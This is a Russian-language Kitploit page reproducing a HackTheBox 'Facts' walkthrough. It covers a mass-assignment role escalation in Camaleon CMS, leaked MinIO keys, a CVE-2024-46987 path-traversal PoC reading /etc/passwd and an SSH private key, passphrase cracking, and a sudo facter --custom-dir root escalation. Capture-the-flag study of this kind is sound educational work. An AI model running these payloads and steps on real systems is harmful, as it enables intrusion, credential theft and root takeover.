Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HackTheBox-Facts — HTB Facts - это простая Linux-машина с Camaleon CMS и MinIO. Получите доступ администратора через открытую регистрацию и уязвимость массового присваивания, затем извлеките учетные данные MinIO из настроек администратора. Используйте обход пути CVE-2024-46987, чтобы украсть закрытый ключ SSH, взломать его парольную фразу и повысить привилегии до root, злоупотребляя правами sudo на facter через GTFOBins. | Kitploit
Инструменты/GitHubGitHub/suriyaboon/hackthebox-facts
Повышение привилегийРазведкаАтаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеБезопасность облачных сред

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

HTB Facts - это простая Linux-машина с Camaleon CMS и MinIO. Получите доступ администратора через открытую регистрацию и уязвимость массового присваивания, затем извлеките учетные данные MinIO из настроек администратора. Используйте обход пути CVE-2024-46987, чтобы украсть закрытый ключ SSH, взломать его парольную фразу и повысить привилегии до root, злоупотребляя правами sudo на facter через GTFOBins.

Обучение и Образование
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Репозиторий
23 месяцев назадЕщё не проверено
Поделиться

HTB Facts — Полное прохождение

Сложность: Средняя
ОС: Linux
Теги: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Повышение привилегий


Содержание

  1. Разведка
  2. Веб-разведка — порт 80
  3. Обнаружение MinIO — порт 54321
  4. Camaleon CMS — доступ к админке
  5. Повышение привилегий до роли администратора
  6. Обнаружение учётных данных MinIO
  7. Произвольное чтение файла — CVE-2024-46987
  8. SSH-доступ под пользователем trivia
  9. Повышение привилегий до root
  10. Флаги

Разведка

Начнём с полного сканирования TCP-портов для выявления открытых служб.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

Результаты:

ПортСлужбаПримечания
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321НеизвестноОпределено как MinIO

Добавляем цель в /etc/hosts:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Веб-разведка — порт 80

Переход на http://facts.htb показывает сайт викторины, построенный на Camaleon CMS (Ruby on Rails). Ключевые признаки:

  • Имя cookie: _factsapp_session (сессия Rails)
  • Пути к ресурсам: /assets/themes/camaleon_first/
  • CSRF-токен в мета-тегах
  • Сервер: nginx/1.26.3 (Ubuntu)

Перечислим sitemap для всех доступных страниц:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

Обнаружены примечательные пути:

  • /admin → перенаправляет на /admin/login
  • /rss
  • Различные страницы викторины: /animal-ejected, /anne-frank и т.д.

Проверим панель входа администратора:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 редирект на /admin/login

Обнаружение MinIO — порт 54321

При проверке неизвестного порта с помощью curl обнаруживается MinIO, S3-совместимая служба объектного хранения:

root@kitploit:~
curl -v http://facts.htb:54321

Ответ:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Заголовки подтверждают: Server: MinIO

Перечислим возможные имена бакетов (все возвращают 403, подтверждая их существование):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Все возвращают 403 Forbidden — бакеты существуют, но требуют учётные данные.


Camaleon CMS — доступ к админке

Идентификация CMS

По путям ресурсов и cookie сессии определяем, что CMS — Camaleon CMS.

Проверим известные уязвимости:

root@kitploit:~
searchsploit camaleon

Результаты:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

Версия админ-панели подтверждена как 2.9.0 (видна в футере после входа).

Создание учётной записи

Страница входа администратора http://facts.htb/admin/login содержит ссылку "Create an account". Зарегистрируем новую учётную запись:

  • Перейти на http://facts.htb/admin/users/sign_up
  • Заполнить любыми действительными учётными данными (например, test123 / test123)
  • Отправить — создаётся учётная запись с ролью Client

После регистрации войдём в админ-панель. Учётная запись имеет ограниченные привилегии Client.


Повышение привилегий до роли администратора

Уязвимость массового присваивания

Camaleon CMS уязвима к атаке массового присваивания на конечной точке смены пароля. Перехватив запрос на смену пароля и добавив параметр password[role], можно повысить свою роль до admin.

Шаги с использованием Burp Suite:

  1. Войти в админ-панель с учётной записью Client.
  2. Перейти в Profile → Edit → Change Password.
  3. Ввести любой новый пароль и нажать Process.
  4. Перехватить POST-запрос в Burp Suite.
  5. Добавить &password[role]=admin в тело запроса:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Отправить запрос — ответ должен быть 200 OK.
  2. Снова войти с обновлёнными учётными данными.

Теперь учётная запись имеет привилегии admin, предоставляющие полный доступ к админ-панели CMS, включая Settings, Media и Filesystem Settings.


Обнаружение учётных данных MinIO

С правами администратора переходим по пути:

root@kitploit:~
Settings → General Site → Filesystem Settings

На странице находятся жёстко прописанные учётные данные MinIO (совместимого с AWS S3):

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Настроим AWS CLI и перечислим бакеты:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Обнаруженные бакеты:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

Бакет internal содержит домашний каталог пользователя trivia:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Скачиваем закрытый ключ SSH
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Произвольное чтение файла — CVE-2024-46987

В качестве альтернативы закрытый ключ SSH можно получить через CVE-2024-46987, аутентифицированную уязвимость обхода пути в Camaleon CMS, позволяющую читать произвольные файлы на сервере.

Клонируем публичный PoC:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Читаем чувствительные файлы:

root@kitploit:~
# Шаг 1: Чтение /etc/passwd для перечисления системных пользователей
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Вывод (релевантные строки):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Обнаружены два пользователя: trivia и william. Поскольку у trivia есть оболочка входа и домашний каталог, проверим наличие закрытого ключа SSH:

root@kitploit:~
# Шаг 2: Чтение закрытого ключа SSH пользователя trivia
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Сохраним полученный ключ в файл:

root@kitploit:~
chmod 600 id_ed25519

SSH-доступ под пользователем trivia

Взлом парольной фразы ключа SSH

Закрытый ключ SSH зашифрован парольной фразой. Используем ssh2john и john для её взлома:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Взломанная парольная фраза: dragonballz

Вход по SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Ввести парольную фразу: dragonballz

Получаем пользовательский флаг:

root@kitploit:~
cat /home/william/user.txt

Повышение привилегий до root

Разрешения sudo

Проверим привилегии sudo для пользователя trivia:

root@kitploit:~
sudo -l

Вывод:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Пользователь может запускать /usr/bin/facter от root без пароля. facter — это инструмент для получения информации о системе на Ruby.

GTFOBins — facter

Согласно GTFOBins, facter может загружать пользовательские Ruby-файлы фактов через --custom-dir, которые выполняются от имени вызвавшего пользователя (в данном случае root).

Эксплойт:

root@kitploit:~
# Создаём каталог эксплойта и Ruby-пэйлоад
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Запускаем facter от root с пользовательским каталогом
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Проверяем установку SUID-бита на bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Запускаем root-оболочку
/bin/bash -p

Получаем root-флаг

root@kitploit:~
whoami
# root

cat /root/root.txt

Флаги

ФлагРасположение
user.txt/home/william/user.txt
root.txt/root/root.txt

Сводка цепочки атак

root@kitploit:~
Nmap-сканирование
    ↓
Порт 80: Camaleon CMS 2.9.0
    ↓
Регистрация учётной записи Client → Админ-панель
    ↓
Массовое присваивание: password[role]=admin → роль администратора
    ↓
Настройки администратора → раскрытие учётных данных MinIO
    ↓
CVE-2024-46987: обход пути → чтение /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → парольная фраза: dragonballz
    ↓
Вход по SSH как trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVE и ссылки

CVEОписание
CVE-2024-46987Аутентифицированный обход пути / произвольное чтение файла в Camaleon CMS
CVE-2023-30145Camaleon CMS v2.7.0 SSTI через параметр formats (не использовалась в этой машине)
  • GTFOBins — facter
  • PoC для CVE-2024-46987
  • Camaleon CMS на GitHub
Скачать инструмент